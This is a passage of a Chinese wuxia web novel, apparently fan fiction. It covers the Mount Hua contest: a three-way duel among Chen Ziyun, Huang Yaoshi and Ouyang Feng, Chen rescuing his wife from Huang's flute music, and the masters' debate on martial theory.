周伯通也从自己师兄后面露出头来,笑着说道。 陈子云看看黄药师,又看看欧阳锋。另外的两人也同样在观察对方。 不知怎么的,除了他们三人之外的几人,都自觉的往外退了几步。 而当王重阳退到了一边,似乎在不经意间踩碎了一颗不小的石子。 “咔嚓。” 陈子云三人几乎是同时出手的。 而且也没人指挥,陈子云瞬间就与找上了黄药师,黄药师则是玉箫一横点向了欧阳锋,欧阳锋则是抡起蛇杖毫不留情的打向陈子云。 三人抢占各自的方位,朝着不同的人出手,而同时又要应对不同的人攻过来的招式。 这不仅是一场别出生面的三角之战,更是一场三人之间心理战的博弈。但凡有人疏忽没有留心另一个人的进攻,或者一旦贪心的想夹击另一个人,都会遭到雷霆般的打击。 “哈哈,师兄,有意思,太有意思了。他们三个人打架,竟然像是有六个人在交手一样。” 周伯通的这句话说的不错。 此时陈子云、黄药师、欧阳锋三人,几乎都是在一心二用,进攻的同时防备着偷袭。 各人的招式不再讲究一击必杀,而是保证随时都有收手的余地。只有这样,才能保证自己成为那个最后的渔翁,而不是成为相争的鹬蚌。 二十四节气惊神指,黄昏细雨红袖刀。 玉箫剑法、落英神剑掌。 灵蛇杖法、神驼雪山掌。 三人可以说是将自己的绝学发挥到了淋漓尽致的地步。虽然不是招招都是竭尽全力,但是这样含而不发的招式更加费人心神。 三人打的战战兢兢,旁人看的却是如痴如醉。 观战的几人也都是难得的高手,就算是其中资历最差的赵茵萝,也是在一旁替陈子云紧张万分。 她还真没见过自己的子云师傅这般的认真,这般的畏手畏脚过。 平时的陈子云总是一副淡然自若的摸样,好像不管什么事情都不放在心里。 就算是给自己喂招的时候,也总是游刃有余。 如今在陈子云手里婉转如意的相思小刀,她都不知道有多久不曾见到了。 “真人,他们?” 赵茵萝规规矩矩的给王重阳行了个礼问道。 “夫人不必担忧,他们三人都在伯仲之间,不会轻易出事。不过……” 王重阳微微皱起眉头,他看着陈子云的眼神明显有些可惜的意味。 “真人?” 赵茵萝心里一紧。 “夫人无需如此,老道只是看子云小友似乎有些内力不如从前那般浑厚,所以困惑。 不过药师兄既然说子云是为了救夫人而散功,那也是人之常情。而且夫人也无需挂怀,既然子云能把内力重新练到今天的境界,说明根基未伤。 要回复以前的功力,也不过是时间问题。” 王重阳解释道。 “真的吗?真人,那你可有办法,让他的头发也回复以前的颜色?” 赵茵萝希翼的问道。 “岐黄之术却不是老道所长,不过如果子云能恢复功力,这头发想来应该不是问题。” 王重阳捏了捏自己的胡须说道。 第一百九十五章 迷曲 赵茵萝无奈地点点头,她知道这不过是王重阳宽慰自己的话。虽然陈子云这几年在回复功力的同时,白发也有转黑的迹象,可终究跟不上功力的恢复。 要是按照这样的进度,估计就算是陈子云彻底恢复了功力,他的头发最多也就能恢复三分之一左右。 “嘘……” 一声很是突兀的箫声惊醒了赵茵萝的沉思。 抬头望去,却发现黄药师不知何时跳出了三人刚才的争斗怪圈,双手按箫。 而更奇怪的是,陈子云跟欧阳锋也没有趁此机会追击,更没有相互交手。反而都是神色凝重的双手交错在自己的胸口,像是在防御什么,可面前却是空空如也。 “嘘……吁……” 箫声变化,赵茵萝感觉像是一团火突然被塞进了自己的胸口,燥热难耐。她本能的想询问王重阳这是为何,发现王重阳正捏着一个道家印法,屏息凝神。 而段智兴跟周伯通也是明显在调息自己的内力,似乎在对抗什么不得了的高手一般。 箫声变得更加诡秘,赵茵萝感觉黄药师好像跑到了自己的耳边吹箫,一股股的暖流从箫孔里通过的她的耳朵,冲到她的心里。 不一会儿,赵茵萝就感到自己的心脏被这一阵阵箫声给填满了。 心脏开始发胀,箫声却一直没停,赵茵萝感觉自己此时整个人都开始膨胀起来,连脑袋里都是箫声。 赵茵萝此时也意识到了问题,她想运功抵挡,却发现难箫声不但吹涨了她的身体,连自己的内息也被吹涨了。 直接涨的她阻塞了经脉,让她本来不俗的功力,一时无处可去,在身体里乱窜。 糟糕,这是子云师傅说过的走火入魔了。 赵茵萝下意识的就要向陈子云求救,可她发现自己竟然已经连话都说不出来了。 碧海潮生曲,这就是子虚的情报里说的神乎其神的,黄药师的碧海潮生曲。 对于黄药师的关注,子虚从来没有放弃过。但是这位来自东海的怪客,行踪实在是太过于诡秘了。 就算是陈子云曾经亲自安排的桃花岛潜入计划也没能成功。所以就算是在子虚的资料库里,也只有寥寥几句关于他的信息,大半还是陈子云自己提供的。 本来赵茵萝对于陈子云描述的,“碧海潮生按玉箫”是并不怎么相信,认为是陈子云感激对方救了她才会过于夸奖。 此时却是体会到了这碧海潮生曲的诡秘威力,实在是有过之而无不及。 本来赵茵萝的功夫,大半就是来自陈子云的传功,根基终究不稳。 而她现在又刚好在性情转换的关键阶段,如何能挡得住黄药师这能勾起人心底本能欲望的碧海潮生曲。 所以赵茵萝自然而然的就陷入了自己的幻境中,种种过往与内心压抑的情欲开始涌动。 好在她与陈子云还只是有名无实的夫妻,这才没有立刻就欲火焚身。 可此时的赵茵萝也已经完全沉浸在了自己的世界中不能自拔,惶惶然如坠云雾。 “吒!” 陈子云突然一声暴烈至极的呼喝,在一瞬间打断了黄药师的箫声。 来不及咽下涌上喉头的一口鲜血,陈子云立刻转向赵茵萝的方向。 而欧阳锋自然不会放过这样的好机会,直接一掌印在了陈子云刚刚转过一半的后背。 陈子云嘴里鲜血狂涌,直接打湿了衣襟。 欧阳锋本来已经迟杖在手,准备迎接陈子云的反击,结果对方却是借着他的掌力一举跳到了赵茵萝的身边。 陈子云一指点在赵茵萝的耳侧,封闭了她的听觉。 “黄药师,还不过来救人。” 已经停下吹箫的黄药师身体一愣,本来他也看出了赵茵萝的不妙,正打算停手,没想到被陈子云率先喝止,这让他有些不畅快。 心里暗笑,自己夫人本事不够,到是怪到他头上来了,他黄药师岂是陈子云能呼之即来的。 不过等他看到赵茵萝软弱无力的瘫倒在陈子云怀里的时候,黄药师终究还是从怀里掏出了一个小瓷瓶扔了过去。 “接着。” 陈子云伸手一接。 是九花玉露丸,陈子云直接倒出一个粒塞进赵茵萝的嘴里,同时渡过自己的内力帮助她抚平体内乱窜的真气。 王重阳也蹲下身,给赵茵萝搭了一下脉搏,察觉到对方体内紊乱的真气正在平复,不由得点点头。 “喂,你这个毒蛤蟆,你想干嘛。刚才偷袭云朵还不够,想再下手,我周伯通可不会看着你,你简直比我还无赖。” 周伯通不知道什么时候挡在了陈子云跟欧阳锋的中间。 “周伯通,我欧阳锋虽然比不得诸位英雄,但也绝不会这般行事。刚才我与子云兄乃是在切磋中,自然不知他是救人心切,那一掌不过是无心之失。 况且,刚才药师兄的箫声诸位也领教了,能保持自身不乱已是难得,又如何能分得清子云兄刚才是不是要跟我过招。” 欧阳锋理直气壮的反驳道。 不过显然,真的看得懂的人都不会相信他这番话,起码洪七此刻也向前走了一步,跟周伯通互为犄角,顶着欧阳锋。 “伯通,无需如此。子云并无大碍,他只是在帮他夫人疏通经络。” 王重阳开口了。 他自然是从刚才探查赵茵萝体内情况的时候,看出了陈子云已经将先天功传给了自己夫人。 虽然那只是几年前自己的初步设想,但是其中的精要并无差别。而这功夫,最是养身固体,陈子云既然能教出这样的徒弟,自然自己也是深先天功要领。 那欧阳锋的那一掌,就不可能真的对陈子云造成妨碍。刚才那吐出的两口血,也就是最坏的结果了。 “不过,他们还需要些时间调理,后面的比试,就让我们先来吧。伯通你负责看护好他们,切不可打搅。” 王重阳吩咐周伯通道。 “好的,师兄。看护的事情,我来。不过我要那你帮忙教训一顿这个癞蛤蟆,省得他趁机欺人。” 周伯通恨恨的瞪了欧阳锋一眼说道。 第一百九十六章 旗鼓相当 欧阳锋只是看了周伯通一眼,对他的指责全然不放在心上。就像刚才说的,欧阳锋的性格,对于周伯通这样的差了自己一个档次的人物,并不会在意。 而这次王重阳却是没有再指责周伯通对欧阳锋的针锋相对。 不过想想也是正常,要知道这位重阳真人在出家之前可也是热血满腔的豪杰人物,自然见不得欧阳锋的小人行径。 而且王重阳本来就是与陈子云忘年而交的,自然是倾向于陈子云的。而对于欧阳锋的说辞,老道士自然有自己看法。 “那老道就来跟欧阳兄切磋一番吧。” “真人……” 欧阳锋有些诧异,他属实没有想到王重阳会听信周伯通的挑拨对自己出手。 虽然王重阳说的是切磋,但欧阳锋明显能看出对方眼中的犀利。这可与他认知中和气的老道士大相径庭。 还没等欧阳锋说什么,王重阳却率先出手了。 欧阳锋仓促之间回招应对,感受到的却是一股绝强的劲道,与老道士本来柔和的内功截然不同。 可到了如今,他也只能捏着鼻子应对了。他欧阳锋怎么说也是宗师人物,就算王重阳霸道,也绝不能让他就此俯首认输。 “七兄,药师兄刚才与另外两位刚刚交手一场。此时却不易再接挑战,小王虽然偏居西南,但是丐帮之名也是如雷贯耳。 不如你我先切磋一番,如何?” 段智兴朝着洪七说道。 “段王爷既然有如此兴致,洪七敢不从命。” 洪七安步扎马,起手就是降龙十八掌中的亢龙有悔。 一样的武功在不同的人手里,发挥出的威势是决然不同。 而段智兴跟洪七学得都是至阳至刚的绝学,在第一次相撞之间就已经有了惺惺相惜之感。。 武功练到了他们这个份上,能有个对手已经是难得,何况是与自己路数相近的。 所以另一边王重阳是基本压着欧阳锋打,一个打的肆意,一个挡的憋屈。 而这一边,却是将遇良才、棋逢对手,打的那个酣畅淋漓。 不过就算王重阳要高出欧阳锋半筹,也不可能在三两招之间就拿下对方。而且欧阳锋从来都不是明知道要吃亏,还会硬上的那种人。 他擅长的也绝不止是手中的杖法,脚下的功夫自然也是不差的。移形换位之间,躲闪着王重阳的步步紧逼。甚至利用华山绝顶的险地,在毫厘之间避开王重阳的必中一招。 可以说是险象环生,却又是将自己的功夫展现的淋漓尽致。就算是刚才心里藏着火气的王重阳,也不得不赞叹一句。 此人虽然人品极差,功夫却是极好的。 随即又不由得担心,要是这人以后无人可治,那绝不是天下之福。 而段智兴跟洪七则是你来我往,好不热闹。 两人至阳至刚的劲道碰撞,时不时发出铿锵之声,就如是两块烧红的烙铁在相互的击打。 火星四溅的同时,也染红了四周的空气。 离得他们近些,都会担心自己会被这无坚不摧的气势给震慑到。 打到最后,两人似乎都有些疯魔一般,已经不再躲闪。 不管是段智兴点出一指,还是洪七打出一掌,另一方只想着硬接,全然没有避让的意思。 似乎在此时,他们的脚已经跟自己脚下的地面链接在了一起,动一下就是逃兵。 直到陈子云已经梳理好了赵茵萝体内紊乱的真气,直到欧阳锋终于接不下王重阳的攻击,他们两人却依旧浑然不觉的对战着。 “好一个丐帮降龙十八掌,好一个打理段氏一阳指。” 陈子云看到此场景也是忍不住击节而赞。 他的二十四节气惊神指自问不输于段智兴的一阳指,可若是要他像这般的与洪七对轰,他是做不到的。 二十四节气指,虽然也同样霸道,但其中的诡秘多变也是优势,他不可能放着这么大的优势不用,而去跟着天下第一的至刚掌法对轰。 王重阳抚着自己的胡须点点头。 欧阳锋则是按着自己刚才被王重阳打中的胸口,眼神莫名的看着酣战的两人,偶尔闪过的精光不知道在思索些什么。 黄药师则是一脸平静的注视着,只是手中时不时转动的玉箫说明,他其实正在身临其境的揣摩两人的招法。 至于周伯通自然是发挥他武痴的本质,抓耳挠腮的在一旁像模像样的比划着。 众人都不担心他是在偷学什么,要是在场几人的功夫是这么容易模仿的,那如何这天下只有他们几人有这般的成就。 “诶,云朵啊,你说奇怪不奇怪?” 周伯通突然拉着陈子云指着交战的两人说道。 “有什么奇怪的,是你自己学不来他们的武功,所以奇怪?” 陈子云一手搂着还在昏迷中的赵茵萝笑道。 “胡说,我周伯通哪有学不来的功夫。我是说,他们一个皇帝,一个乞丐,本来应该是这天底下最不相同的两人。 使的功夫却都是一般的刚强,性子也是一样的执拗,这还不奇怪?” 周伯通看事物的角度果然是与一般人大不相同。 其他人只会在意交战的两人的招法运劲的门道,哪里还会注意对方的身份。 欧阳锋藐视皇权的那句话虽然有挑拨的嫌疑,但是说的倒是也没大错。 武功练到了他们的这种程度,对于世俗的皇权如何会放在心上。 这也是陈子云对待赵茵萝以及整个南宋皇室的心态。要不是中间有个驸马的身份束缚着他,说不定这会儿不是躲在书房里,就是逍遥世界去了。 “两位兄台,旗鼓相当,且都罢手吧。再打下去也分不出高低,却是要伤到身体了。” 王重阳开口说道。 这也就是老道士宅心仁厚,要是换个人可不会这么好心。 如今这在华山北峰上的几人,可不止是对手,还是各自抢夺九阴真经的阻碍。 欧阳锋自然最希望,段智兴这个能克制自己的大理国主能当场毙命,而那个总是有意无意盯着自己的洪七,最好也重伤不治。 第一百九十七章 中场休息 黄药师高傲,无可无不可,不会恶毒的诅咒两人,可也绝对不会去劝解他们。 “段王爷,七兄,我数三声,两位一起收手。” 陈子云也看出了两人的尴尬,此时他们的状态要是有个人先收手,可能立刻就会被对方所伤,所以必须一同撤招才行。 “三……二……” 陈子云观察着对峙中的两人,见他们眉头耸动,明白他们都做好的撤手的准备。 “一。” 只听得啵的一声,就像是两个黏在一起的吸附式酒塞给强行拔开似的。 两人都有些站立不稳的往后跌了几步,王重阳伸手顶住了后退的段智兴,洪七则是强提一口气,左脚往后一撤,顶住了自己。 “佩服,佩服。” 两人几乎是同时开口的,随即相视而笑。 “七兄的降龙十八掌恐怕已经超越了丐帮历代的帮主,当真算得上是天下间至刚至强的掌法。” 陈子云道。 “哈哈,那又如何,再刚强的掌法,也终究抵挡不住你那不过三寸的小刀。” 洪七此时也是畅快的很,刚跟段智兴的那一场硬战虽然谁都没有占到便宜,但是这样酣畅的大战,他也是许久没有经历了。 而又有陈子云这个老相识的夸赞,自然是心情愉悦,当下拿起了酒壶,抿了两口。 满足的咂咂嘴,再次对着陈子云道。 “要不要来一口?” 陈子云无奈一笑,指指怀里的赵茵萝。 “拙荆管的严。” “嫂夫人这么温柔的人,还管子云兄你喝酒?” 洪七也是大跌眼睛,众人也是用奇怪的目光看着他。 “这道不是,只是拙荆很在意卫生。” 众人冷场,洪七更是脑子一时没有转过弯来。 “哈哈哈,哈哈哈……” 却是黄药师发出一声畅快的大笑。 “七兄,本来小弟也不想说,不过子云兄既然已经先发声,那小弟也建议你下次华山论剑还是沐浴之后再来吧。” 黄药师毫不顾忌的说着。 “哈哈,乞丐头子,哈哈哈。” 周伯通也是指着洪七大笑起来。 “哎,你们倒是真不客气。” 洪七有些局促的瞥了三人一眼,王重阳自然是不会这般同三人胡闹,欧阳锋则是冷峻着脸。 “可周伯通你也说了,我一个乞丐头子,要是干净了,让我丐帮那帮小乞丐如何自处。” 洪七此时也缓过神来,自嘲一句又抿了一口酒。 “所以诸位就把这乞丐窝里带来的味道,当成是我丐帮的另一套绝学,如何?” “哈哈……好个洪七,好个北丐。” 陈子云也没想到洪七会如此回答,却是阔达非常人。 “不错,北丐,北丐。北方武林,当无人能出七兄其右者。这一声北丐倒是合适的。” 王重阳抚须而笑道。 “不错,七兄当得起。” 段智兴附和着。他刚才与洪七一战也是彻底被对方折服了。 要知道他出身大理皇族,从小就接受最好的教育与培养,加上自己百分艰苦才有了此时的成就。 而洪七却是以一个乞丐的身份,几乎全是靠自己的努力。同样要达成这样的成就,他的付出与天资绝对在自己之上。 如今在山上的人里,除了洪七之外,几乎都是出身不凡,而对方却是能与他们并驾齐驱,怎么不让人佩服。 就是连一向傲慢的黄药师也跟着点点头,虽然他与洪七这种莽汉不是一个路子的,但他也不是那种看不到别人优点的人。 至于欧阳锋,见众人如此捧洪七,自然跟着附和。不管心里多么的膈应,但他这样的人是绝对不会平白无故给自己树立强敌的。 “大家都有过交手了,想必也需要调息回复一阵。不如大家坐而论道,阐述各自的武学纲要。 华山论剑,自然不能只有剑,却没有论的。要是有哪位仁兄能以自己的武学至理折服在场诸位,说不得能少去几分争斗,也是好事。 各位意下如何?” 王重阳建议道。 “好,真人所言正当是。” 这时候欧阳锋却是表现的很积极。一方面是因为他自己挨了王重阳一掌,此时根本无法动手,还有就是他对于王重阳也是有了忌惮,同时也是敬重。 欧阳锋这样的人,对于强者崇拜是比一般人更盛的。 “真人如此安排自然是再好不过,我也刚好可以照顾拙荆,在她醒来之前,怕是不能动手了。” 陈子云说道。 “既然如此,那我们就以这华山绝顶为道场,借满山白雪为棋子,口谈一场。” 黄药师一甩衣袖,将一块岩石上的积雪扫尽,直接盘腿而坐。 段智兴见此,也是哈哈一笑,直接伸手一指,竟然就这么插入一块圆形青石的中间。 随即一提,就这么把这个快不下百斤的青石给提了起来,又一转身就来到了黄药师的一侧,同样坐下。 “呀,好玩好玩。” 周伯通学着段智兴的摸样,也往一旁的石头上戳去。 不过他虽然也戳破了一点石头的青皮,却也疼的哇哇大叫。 洪七只是出了一掌,就把一块大半都埋在地下的岩石给打的震了出来,随即一脚稳稳的将石头踢到了段智兴的对面。 欧阳锋此时有伤在身,用不得大力,便安安分分的找了一块不大的石头,用蛇杖打了过去。 周伯通自然趁机笑话他是无力癞蛤蟆。其余众人却反而高看了对方一眼,这样的心性才是真正的可怕。 那些为了逞能而不顾自己伤势的,才是蠢材。 王重阳却表现的更加平淡,只是一步步的往前走着。 就在众人不解之际,却见到一块埋在已经落座几人中间的石头竟然自己缓缓的升起来了。 众人皆是震惊不已,随即看向王重阳的脚底。只见他每一次脚尖落地的时候,都会轻点一下地面。 此时众人才明白,王重阳的内功竟然已经到了这种匪夷所思的境界。 竟然可以靠着这样精准的控制,在不影响外物的状态下,将一块深埋地底的岩石给生生挤出来。 在坐几人纷纷自问,自己是否能做到这般。 结果自然是……做不到。 第一百九十八章 论道 众人敬佩的同时,也纷纷开始思索,要是自己对上王重阳又要如何应对,面对这样的神奇内劲,自己要如何抵抗。 陈子云抱着赵茵萝随便的找了一个地方坐下,没有秀技的打算。周伯通则是笑哈哈的坐在了自己师兄的那块石头上,丝毫不觉得尴尬,反而露出一番好奇以及期待,似乎就等着众人开口,他好仔细听听。 要是别的人敢来捡这种便宜,在坐的几人会让他知道什么叫做不该听的别听。可谁叫人家有个好师兄呢,没看到王重阳已经让出了大半块石头给他坐吗? “如此,那就让老道抛转吧。” 王重阳作为这次华山论剑的发起人,自然是有责任做这个带头羊的。随即他就开始讲解自身的种种武学。 自然,不会一开始就讲先天功这种不传之秘,王重阳虽然为人宽宏,但也不是喜欢当冤大头的那种。 他一生所学驳杂,儒释道皆有造树。先是从最浅显的练武基础开始讲,由浅入深才是循序渐进的不二法门。 不过就算是王重阳讲的都是最基础的东西,但是在坐的都不会有丝毫怠慢。 一个宗师人物讲的,就算是细枝末节,也是能与自己的武学思想相互应征的。以王重阳的高度,能被他宣之于口的东西,绝不是一般人意识中的那些简单的货色。 同样是讲的扎马练下盘,在一般人看来就是简单的扎开双腿,熬时间就是了。可在王重阳将来却是有诸多的关键之处,其中最是让众人收益的是其中马步于道家呼吸之术配合,将死马练成活马的要义。 就是连黄药师也是听得眼中精光不断,显然是有所得。 洪七没听多久,就已经有些坐立不安了。一方面是欣喜能听到这样的武学至理,另一方面则是纠结,轮到自己的时候,能拿出什么东西来跟现在听到的道理比较。 段智兴则是听得整个人都开始不自觉的往前倾,似乎是听不清王重阳的话语一般。 欧阳锋倒是表现得最为镇定,如果不看他捏紧的拳头的话。 陈子云只是面带微笑的听着,这些东西,在五年前他就已经跟王重阳论道过了。 王重阳差不多讲了将近一个时辰才收口,众人却是有些意犹未尽的看着他。 王重阳笑笑道。 “老道抛砖引玉,不知哪位接着?” 几人相互看了看,有的人是犹豫要不要把自己的武学就此分享;有的人则是自愧不如,讲出来怕贻笑大方。 就在众人犹豫不决的时候,洪七哈哈一笑道。 “既然如此,那叫花子我就先来吧,反正身上无余财,不怕贼惦记。” 洪七说完便开始讲述,不过他这里就没办法再讲基础武学了。毕竟王重阳讲的东西实在是让他们自愧不如,再硬着头皮讲这些,那就是丢人了。 洪七挑了一些丐帮中不是很要紧的传承,加入一些自己练功的感悟。虽然不如王重阳那般振聋发聩,但也算是讲的掷地有声了,不是糊弄人的货色。 尤其是讲到引而不发,含劲三重,这种来自降龙十八掌的精髓时,众人都是如获至宝。 后面是段智兴,一阳指肯定是不能讲的,但是作为一国之主,武学涉猎自然不可能只有这一门绝学。 不管是看过的,还是曾经学过的,段智兴都毫不吝啬的一口脱出。 相比于洪七的精炼,段智兴就显得更为广博。 但到了黄药师的时候,众人才明白什么是真正的博学,什么是真正的天才。要不是陈子云出声提醒,黄药师估计就要讲到奇门术数上去了,这明显不符合现在的氛围。 可就算这样,黄医师就像是武学不要钱似的,连自己的弹指神通也不私藏,直接讲其中的几分原理给说了出来。 可当众人正打算揣摩一番的时候,却发现,这里面暗含的知识储备实在是太广。 原来这套指法竟然是涵盖了黄药师引以为傲的术数奇学的,就是连王重阳也只能无奈一笑。 难怪黄药师这么大方,原来是他压根就不担心别人能学会。 至于陈子云,他表现的更是大方,直接就把小李飞刀的奥妙给讲了出来。 一开始听到这个字词的黄药师直接就激动的站了起来,这还是他第一次在众人面前表现得这般失态。 “你当真要讲那一刀?” “不错。” 陈子云点头回道。 “什么刀法,能让药师兄你如此失态?” 欧阳锋带着些好奇的笑意问道,其实在他看来,陈子云弱点太明显,并不放在他的眼里。 当时他那一掌既然能打到对方,那么下次自然也可以。所以在他的心目中,陈子云是要低黄药师一个档次的。 因此对于黄药师这般的失态,他如何能不好奇。 “一把,能杀你的刀。” 黄药师居高临下的瞥了欧阳锋一样。 这让欧阳锋很是愤怒,可当他看清对方的眼神时,却有些莫名的恐惧。因为以他对黄药师的了解,对方竟然没有撒谎。 这怎么可能,凭一刀就可以杀自己,就算是王重阳也做不到,陈子云何德何能。 “云朵,快说,你快说。别理他们,我周伯通听着呢。” 周伯通急急的催促着,他最是等不及要学奇妙的武功。 “小李神刀,冠绝天下,出手一刀,例不虚发……” 众人开始都纷纷皱眉,始觉惊异,后又有些不信,甚至有些觉得陈子云是不是再自卖自夸。 而当陈子云讲到这小李飞刀要用全身所有的精神和力量才能发出一刀的时候,众人已经开始悚然。 在场的都是此间武学的绝顶人物,自然明白陈子云将的用全身精神和力量,不是他们一般认为的全力一击。 而是将身体中所有的精神和力量都凝结在一招之中,这招过后敌人若是不死,死的就是自己。 可这样的刀岂是想发就能发的,不说如何把全部的精神和力量都集中到自己的两个手指之上。 就算是这样的能力,一般人又如何又这般的胆量与气魄,以及绝对的信心,将自己的身家性命都付诸于这一刀。 光是这种自知死地而敢赴的魄力,已经不是他们此时能企及的了。 尤其是像欧阳锋这种,把自身的安危永远放在第一位的人物来讲,这样的功夫就算是陈子云把全套的奥秘都讲了他也绝对不敢用,那有何必去学。 第一百九十九章 真小人 “精彩,子云,你总是能给老道惊喜。” 王重阳也忍不住赞叹道。 “虽然子云兄你讲的这一刀的武学道理,与我的降龙十八掌几乎相悖,但是其中的奥妙确实无与伦比,乞丐我佩服,佩服啊。” 洪七叹服道。 “啊呀,云朵啊,这下你可吃大亏了。” 周伯通突然拍着自己的大腿,似乎很是替陈子云惋惜的道。 “哦,为何?” 陈子云问道。 “你看看,就你讲的这套小李飞刀最是奇妙,就连我师兄讲的也大大不如。别说什么癞蛤蟆还没讲,就是皇帝跟乞丐讲的也不如你许多啊。” 周伯通直言不讳,倒是让段智兴他们有些没面子。 “无妨,各有所长,而且我这门功夫虽然玄奥,但是同样门槛太高。要是几位中有谁能学的了,我反而要替传我这门功夫的前辈高兴。” 陈子云毫不在意的说道。 最后当然就轮到剩下的欧阳锋了,众人都将目光扫向他。 欧阳锋丝毫不在意几人的目光,只是将手中的蛇杖放在自己的腿上,示意他要开始讲了。 一开始众人见他讲的还是一些比较少见的武学,虽然浅显,但似乎与中原的功夫又很大的差别,还算有些可取之处。 可当几句过后,众人皆是发现对方讲的不过是些有言无实的取巧门道。讲左手用剑只讲招法的诡秘,却不说用劲的技巧。 讲沙漠中人物潜入沙地的本事,偷袭会有奇效,却不讲配套的敛息与闭气功夫。 陈子云早知道对方的为人,所以只是不屑的轻笑了一声,并没开口指责。 洪七与段智兴都是厚道的,只是搭着眼皮,就当没听到。 黄药师则是直接开始把玩手里的玉箫。 王重阳最是得体,依旧是笑着抚着自己的胡须,似乎听得很是入迷。 “哇呀呀,好你个癞蛤蟆。连说话都是打哈欠一般,只看到张嘴,却不见出声。 你这么啰里啰嗦的讲的哪个是真功夫,真是气煞我周伯通也。” 周伯通可没跟欧阳锋讲情理面子这一套,他听出了欧阳锋讲武时,其中的泛泛而谈,直接就开骂了。 这下王重阳的笑容却是更灿烂了,谁说真人就不会耻笑别人的。 何为道家真人,存养本性才是真,要是无欲无念,无好无恶,那不是真人,是死人! 可让人更是不解的是,欧阳锋只是淡淡的看了一眼周伯通,却并没有理会他的戳破。 竟然还能自顾自的继续他的演讲,这让陈子云不由得暗暗点赞,果然是城墙做的面皮,好功夫啊。 估计欧阳锋这次的表现,不仅仅是陈子云,其他的几位也是看清了这位的为人,就是不知道他们此时是何种心情。 欧阳锋终于是收口了,重新拿起了他的蛇杖,还煞有其事的向其他几人起身行了个礼。 “嘿嘿,叫花子我这次算是开眼了。” 洪七终究还是年轻了些,此时胸中的火气还旺的很。要是放在平时遇到这样无耻的人,少不得要出手教训一场。 “七兄客气,七兄讲的武学道理在下也是受益匪浅。” 欧阳锋竟然还真当洪七是在夸赞他的。 段智兴则是涨红了脸,可终究是有作为国主的包容之心,让他不能像洪七这般的开口嘲讽。 反倒是黄药师,只是用一种似乎有些欣赏另类的目光看着欧阳锋,嘴角的歪斜似乎在看什么新奇的东西,但绝不是看人。 “虽然欧阳先生讲的有些驳杂,但确实也是让老道收益匪浅。不曾知道,原来西域竟然还有如此多奇功诡技。诸位要是以后遇见了这般的人物,还务必小心提防。” 王重阳这句话一出口,陈子云就听出了其中的暗指。 提防,确实是要提防啊,这位西域最强的,最诡异的高手,怎么能不小心对待呢。 而在坐的又有哪一个不是聪明人,自然都的能听出王重阳的言外之意。或者说,这根本就不用他提醒,谁又看不出欧阳锋的心性。 “嗯,子云师傅,好吵啊。” 陈子云怀里的赵茵萝眯着眼抱怨了一句,随即似乎想起了什么又把头埋进了他的怀里。 “茵萝,茵萝,你感觉如何?” “呜呜,嗯嗯。” 赵茵萝的回复只是几声意味不明的哼哼。 “哈哈,这小丫头害羞的不敢见人了。” 周伯通笑嘻嘻的指着赵茵萝道。 众人有些促狭的对着陈子云笑笑,都有些打趣,一个宗师人物,以及一个同样不差的高手,竟然有这般儿女情长的神态。 陈子云对于赵茵萝的反应也不好说什么,只能朝着众人抱拳,希望他们海涵。 原以为赵茵萝变得已经够果决的性子,倒是在这个时候失灵了,好像又成了那个连说话都会紧张的小丫头。 陈子云没办法,只好带着她出了几人的论道的圈子。想来后面的华山论剑,他恐怕也是没发安心的参与了。 “好了,已经离开的够远了。” 陈子云带着赵茵萝来到了华山北峰的另一侧,拍了拍她的肩膀说道。 赵茵萝先是从陈子云的怀里探出了半个脑袋,用一只眼睛瞄了瞄四周,确认了没有别人才离开了陈子云的怀抱。 可当真的离开的时候,似乎有些不舍那其中的温暖。 赵茵萝只好装着若无其事的摸样,转头看向还在另一边的几人。他们如今的位置比那边稍微高出一些,从这里看去,自然把众人看得一清二楚。 “子云师傅,我刚才是被黄药师的碧海潮生曲给暗算了。” 赵茵萝有些不甘的指着另一边的黄药师道。 “说不上暗算,最多只能算是打了你一个措手不及。” 陈子云在别的事情上可以宠着赵茵萝,但是在武功较量方面是绝对不会含糊其辞的。 “哼,下次,下次我绝对不会再上当了。” 赵茵萝有些愤愤然的说道。 陈子云摇摇头。 “恐怕很难,你身上的内力终究不是你自己练出来的。黄药师的碧海潮生曲又最是擅长勾起人心中的执念,你怕是把控不住。” “真的那么难?” 赵茵萝显然有些不信。虽然她在陈子云的面前能够放得下架子,可是对于其他人,不管是南宋的公主,还是子虚的地后,她都有她自己的骄傲。 第二百章 破解碧海潮生曲的办法 陈子云点点头。 “那子云师傅,你有什么办法吗?” 赵茵萝问道。 “这天下的武功,自然没有什么是无敌的。想必刚才你也看到了,我们抵抗黄药师的箫声的办法。” 陈子云道。 “不错,我看你们都在运功抵挡,可我当时为何会调动不了内力。” “你是真的调动不了内力,还是你自己觉得调动不了?” 陈子云说的话简直就是绕口令。 赵茵萝沉思片刻。 “子云师傅,你是说,当时我之所以觉得体内静脉堵塞,内力凝滞,其实是这箫声在欺骗我,是假象。 其实我是可以调动的内力的?” 陈子云微笑着点点头。 赵茵萝又是一阵沉思,她是在回忆当时的情景。 最终她咬咬自己的嘴唇,摇着头道。 “不,当时我虽然有些迷糊,但是我确定在那样的情况下,我是真的没办法调动内力的。” “杂念丛生,身体不听使唤是吗?“ 陈子云道。 赵茵萝点点头。 “这就是碧海潮生曲的作用,它会让你思绪丛生,无法集中精神,你的身体就会觉得难以控制。” “那要如何?” “自然是集中精神。” “如何集中?” “最简单的方法就是全力运气,所以你也看到了,当时我们都是在集中自己的内力调度,让自己不受干扰。” “可……” “可等你发现时,已经为时已晚,是吧。” 赵茵萝有些尴尬的点点头。 “那就念阿弥陀佛。” “什么,这怎么能行?” 赵茵萝以为陈子云是在跟她开玩笑。 “是真的能行。不管是佛家的阿弥陀佛还是道家的无量天尊,都是一种口头修行的法门。佛门与道家的修士,之所以要口中常念,就是为了灵台清净,能抵挡一切恶念。” “阿弥陀佛?无量天尊?” 赵茵萝将信将疑的念叨了一句,可明显没有感觉到什么清心降念的功能。 “呵呵呵,自然不能这么有口无心的念。你听我的。” 陈子云吸了一口气,随即缓缓吐出。 “阿……弥……陀……佛……” 阵阵尾音在华山绝顶徘徊,好似古时绕梁三月的韶乐。 “子云兄,要是技痒,不如过来再切磋一场。” 段智兴也用一种特殊的音波之术,将话语传过来。 “不必,不必,在下只是在教拙荆,如何抵抗药师兄的碧海潮生曲,诸位不必介怀。” 陈子云也不怕膈应黄药师,直接说道。 “哈哈哈,黄药师,云朵说要破了你的怪箫声呢。” 周伯通自然是不嫌事大的在一边撺掇着。 黄药师只是转了转自己的玉箫,并不将周伯通的话放在心上。至于陈子云那带着几分挑衅的话,会不会被他当真,那就只有他自己知道了。 